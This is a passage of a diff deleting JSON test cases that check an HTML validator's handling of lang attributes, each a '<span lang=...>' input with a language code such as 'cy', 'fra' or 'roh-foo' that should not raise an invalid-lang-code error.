-"input": "<span lang=gws>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tli'",
-"input": "<span lang=tli>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tlh'",
-"input": "<span lang=tlh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nno'",
-"input": "<span lang=nno>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ch'",
-"input": "<span lang=ch>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'co'",
-"input": "<span lang=co>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ca'",
-"input": "<span lang=ca>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'por'",
-"input": "<span lang=por>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ce'",
-"input": "<span lang=ce>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pon'",
-"input": "<span lang=pon>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cy'",
-"input": "<span lang=cy>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sah'",
-"input": "<span lang=sah>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cs'",
-"input": "<span lang=cs>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cr'",
-"input": "<span lang=cr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ady'",
-"input": "<span lang=ady>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cv'",
-"input": "<span lang=cv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cu'",
-"input": "<span lang=cu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ps'",
-"input": "<span lang=ps>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fra'",
-"input": "<span lang=fra>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dum'",
-"input": "<span lang=dum>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pt'",
-"input": "<span lang=pt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'swa'",
-"input": "<span lang=swa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dua'",
-"input": "<span lang=dua>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fro'",
-"input": "<span lang=fro>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yap'",
-"input": "<span lang=yap>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frm'",
-"input": "<span lang=frm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tiv'",
-"input": "<span lang=tiv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frs'",
-"input": "<span lang=frs>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'frr'",
-"input": "<span lang=frr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yao'",
-"input": "<span lang=yao>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pa'",
-"input": "<span lang=pa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xal'",
-"input": "<span lang=xal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fry'",
-"input": "<span lang=fry>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pi'",
-"input": "<span lang=pi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dut'",
-"input": "<span lang=dut>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pl'",
-"input": "<span lang=pl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gay'",
-"input": "<span lang=gay>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oto'",
-"input": "<span lang=oto>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sag'",
-"input": "<span lang=sag>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hmn'",
-"input": "<span lang=hmn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hmo'",
-"input": "<span lang=hmo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'an'",
-"input": "<span lang=an>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gaa'",
-"input": "<span lang=gaa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fur'",
-"input": "<span lang=fur>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mlg'",
-"input": "<span lang=mlg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slv'",
-"input": "<span lang=slv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ain'",
-"input": "<span lang=ain>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fil'",
-"input": "<span lang=fil>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mlt'",
-"input": "<span lang=mlt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'slk'",
-"input": "<span lang=slk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rar'",
-"input": "<span lang=rar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ful'",
-"input": "<span lang=ful>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sla'",
-"input": "<span lang=sla>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 've'",
-"input": "<span lang=ve>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jpn'",
-"input": "<span lang=jpn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vol'",
-"input": "<span lang=vol>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vi'",
-"input": "<span lang=vi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'is'",
-"input": "<span lang=is>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kho'",
-"input": "<span lang=kho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iu'",
-"input": "<span lang=iu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'it'",
-"input": "<span lang=it>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vo'",
-"input": "<span lang=vo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ii'",
-"input": "<span lang=ii>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ay'",
-"input": "<span lang=ay>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ik'",
-"input": "<span lang=ik>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'io'",
-"input": "<span lang=io>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kha'",
-"input": "<span lang=kha>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ia'",
-"input": "<span lang=ia>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ave'",
-"input": "<span lang=ave>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jpr'",
-"input": "<span lang=jpr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ie'",
-"input": "<span lang=ie>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ava'",
-"input": "<span lang=ava>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ig'",
-"input": "<span lang=ig>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pap'",
-"input": "<span lang=pap>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ewo'",
-"input": "<span lang=ewo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pau'",
-"input": "<span lang=pau>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ewe'",
-"input": "<span lang=ewe>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'paa'",
-"input": "<span lang=paa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qaa'",
-"input": "<span lang=qaa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pag'",
-"input": "<span lang=pag>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sat'",
-"input": "<span lang=sat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pal'",
-"input": "<span lang=pal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pam'",
-"input": "<span lang=pam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pan'",
-"input": "<span lang=pan>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'phi'",
-"input": "<span lang=phi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nog'",
-"input": "<span lang=nog>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'phn'",
-"input": "<span lang=phn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kir'",
-"input": "<span lang=kir>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nia'",
-"input": "<span lang=nia>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dgr'",
-"input": "<span lang=dgr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'syr'",
-"input": "<span lang=syr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kin'",
-"input": "<span lang=kin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tup'",
-"input": "<span lang=tup>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'niu'",
-"input": "<span lang=niu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gsw'",
-"input": "<span lang=gsw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'epo'",
-"input": "<span lang=epo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jbo'",
-"input": "<span lang=jbo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mic'",
-"input": "<span lang=mic>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tha'",
-"input": "<span lang=tha>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sam'",
-"input": "<span lang=sam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hai'",
-"input": "<span lang=hai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gmh'",
-"input": "<span lang=gmh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cus'",
-"input": "<span lang=cus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ell'",
-"input": "<span lang=ell>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wen'",
-"input": "<span lang=wen>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bnt'",
-"input": "<span lang=bnt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fre'",
-"input": "<span lang=fre>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'elx'",
-"input": "<span lang=elx>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ada'",
-"input": "<span lang=ada>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nav'",
-"input": "<span lang=nav>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hat'",
-"input": "<span lang=hat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hau'",
-"input": "<span lang=hau>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'haw'",
-"input": "<span lang=haw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bin'",
-"input": "<span lang=bin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'amh'",
-"input": "<span lang=amh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bik'",
-"input": "<span lang=bik>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bih'",
-"input": "<span lang=bih>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mos'",
-"input": "<span lang=mos>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'moh'",
-"input": "<span lang=moh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mon'",
-"input": "<span lang=mon>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mol'",
-"input": "<span lang=mol>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bis'",
-"input": "<span lang=bis>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bla'",
-"input": "<span lang=bla>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pol'",
-"input": "<span lang=pol>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tib'",
-"input": "<span lang=tib>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tvl'",
-"input": "<span lang=tvl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tgk'",
-"input": "<span lang=tgk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ijo'",
-"input": "<span lang=ijo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'est'",
-"input": "<span lang=est>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kmb'",
-"input": "<span lang=kmb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ice'",
-"input": "<span lang=ice>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'peo'",
-"input": "<span lang=peo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tgl'",
-"input": "<span lang=tgl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'umb'",
-"input": "<span lang=umb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tmh'",
-"input": "<span lang=tmh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fon'",
-"input": "<span lang=fon>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hsb'",
-"input": "<span lang=hsb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'be'",
-"input": "<span lang=be>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bg'",
-"input": "<span lang=bg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'run'",
-"input": "<span lang=run>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ba'",
-"input": "<span lang=ba>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rum'",
-"input": "<span lang=rum>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bm'",
-"input": "<span lang=bm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bn'",
-"input": "<span lang=bn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bo'",
-"input": "<span lang=bo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bh'",
-"input": "<span lang=bh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bi'",
-"input": "<span lang=bi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'br'",
-"input": "<span lang=br>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bs'",
-"input": "<span lang=bs>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rus'",
-"input": "<span lang=rus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rup'",
-"input": "<span lang=rup>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pli'",
-"input": "<span lang=pli>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'om'",
-"input": "<span lang=om>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oj'",
-"input": "<span lang=oj>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ace'",
-"input": "<span lang=ace>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ach'",
-"input": "<span lang=ach>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oc'",
-"input": "<span lang=oc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dzo'",
-"input": "<span lang=dzo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kru'",
-"input": "<span lang=kru>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srr'",
-"input": "<span lang=srr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ido'",
-"input": "<span lang=ido>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srp'",
-"input": "<span lang=srp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kro'",
-"input": "<span lang=kro>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'krl'",
-"input": "<span lang=krl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'krc'",
-"input": "<span lang=krc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nds'",
-"input": "<span lang=nds>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'os'",
-"input": "<span lang=os>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'or'",
-"input": "<span lang=or>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zul'",
-"input": "<span lang=zul>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'twi'",
-"input": "<span lang=twi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sog'",
-"input": "<span lang=sog>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nso'",
-"input": "<span lang=nso>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'swe'",
-"input": "<span lang=swe>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'som'",
-"input": "<span lang=som>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'chm'",
-"input": "<span lang=chm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'snd'",
-"input": "<span lang=snd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sot'",
-"input": "<span lang=sot>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mkd'",
-"input": "<span lang=mkd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wak'",
-"input": "<span lang=wak>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'her'",
-"input": "<span lang=her>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lol'",
-"input": "<span lang=lol>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mkh'",
-"input": "<span lang=mkh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'heb'",
-"input": "<span lang=heb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'loz'",
-"input": "<span lang=loz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gil'",
-"input": "<span lang=gil>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'was'",
-"input": "<span lang=was>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'war'",
-"input": "<span lang=war>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hz'",
-"input": "<span lang=hz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hy'",
-"input": "<span lang=hy>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sid'",
-"input": "<span lang=sid>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hr'",
-"input": "<span lang=hr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ht'",
-"input": "<span lang=ht>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hu'",
-"input": "<span lang=hu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hi'",
-"input": "<span lang=hi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ho'",
-"input": "<span lang=ho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bul'",
-"input": "<span lang=bul>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wal'",
-"input": "<span lang=wal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bua'",
-"input": "<span lang=bua>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bug'",
-"input": "<span lang=bug>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'he'",
-"input": "<span lang=he>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uz'",
-"input": "<span lang=uz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aze'",
-"input": "<span lang=aze>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ur'",
-"input": "<span lang=ur>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zha'",
-"input": "<span lang=zha>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uk'",
-"input": "<span lang=uk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ug'",
-"input": "<span lang=ug>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zho'",
-"input": "<span lang=zho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aa'",
-"input": "<span lang=aa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ab'",
-"input": "<span lang=ab>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ae'",
-"input": "<span lang=ae>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'uig'",
-"input": "<span lang=uig>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'af'",
-"input": "<span lang=af>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ak'",
-"input": "<span lang=ak>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'am'",
-"input": "<span lang=am>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'myv'",
-"input": "<span lang=myv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'khi'",
-"input": "<span lang=khi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'as'",
-"input": "<span lang=as>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ar'",
-"input": "<span lang=ar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'inh'",
-"input": "<span lang=inh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'khm'",
-"input": "<span lang=khm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'av'",
-"input": "<span lang=av>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mya'",
-"input": "<span lang=mya>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ine'",
-"input": "<span lang=ine>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'az'",
-"input": "<span lang=az>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ina'",
-"input": "<span lang=ina>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'inc'",
-"input": "<span lang=inc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nl'",
-"input": "<span lang=nl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nn'",
-"input": "<span lang=nn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'no'",
-"input": "<span lang=no>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'na'",
-"input": "<span lang=na>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nb'",
-"input": "<span lang=nb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nai'",
-"input": "<span lang=nai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nd'",
-"input": "<span lang=nd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ne'",
-"input": "<span lang=ne>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tir'",
-"input": "<span lang=tir>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ng'",
-"input": "<span lang=ng>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ny'",
-"input": "<span lang=ny>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nap'",
-"input": "<span lang=nap>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gre'",
-"input": "<span lang=gre>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grb'",
-"input": "<span lang=grb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grc'",
-"input": "<span lang=grc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nau'",
-"input": "<span lang=nau>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'grn'",
-"input": "<span lang=grn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nr'",
-"input": "<span lang=nr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tig'",
-"input": "<span lang=tig>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yor'",
-"input": "<span lang=yor>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nv'",
-"input": "<span lang=nv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mri'",
-"input": "<span lang=mri>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'may'",
-"input": "<span lang=may>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zun'",
-"input": "<span lang=zun>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ile'",
-"input": "<span lang=ile>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sqi'",
-"input": "<span lang=sqi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gon'",
-"input": "<span lang=gon>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpe'",
-"input": "<span lang=cpe>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpf'",
-"input": "<span lang=cpf>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cpp'",
-"input": "<span lang=cpp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'roh-foo'",
-"input": "<span lang=roh-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gv-foo'",
-"input": "<span lang=gv-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gu-foo'",
-"input": "<span lang=gu-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'scn-foo'",
-"input": "<span lang=scn-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rom-foo'",
-"input": "<span lang=rom-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ron-foo'",
-"input": "<span lang=ron-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alg-foo'",
-"input": "<span lang=alg-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oss-foo'",
-"input": "<span lang=oss-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ale-foo'",
-"input": "<span lang=ale-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'alb-foo'",
-"input": "<span lang=alb-foo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sco-foo'",
-"input": "<span lang=sco-foo>",
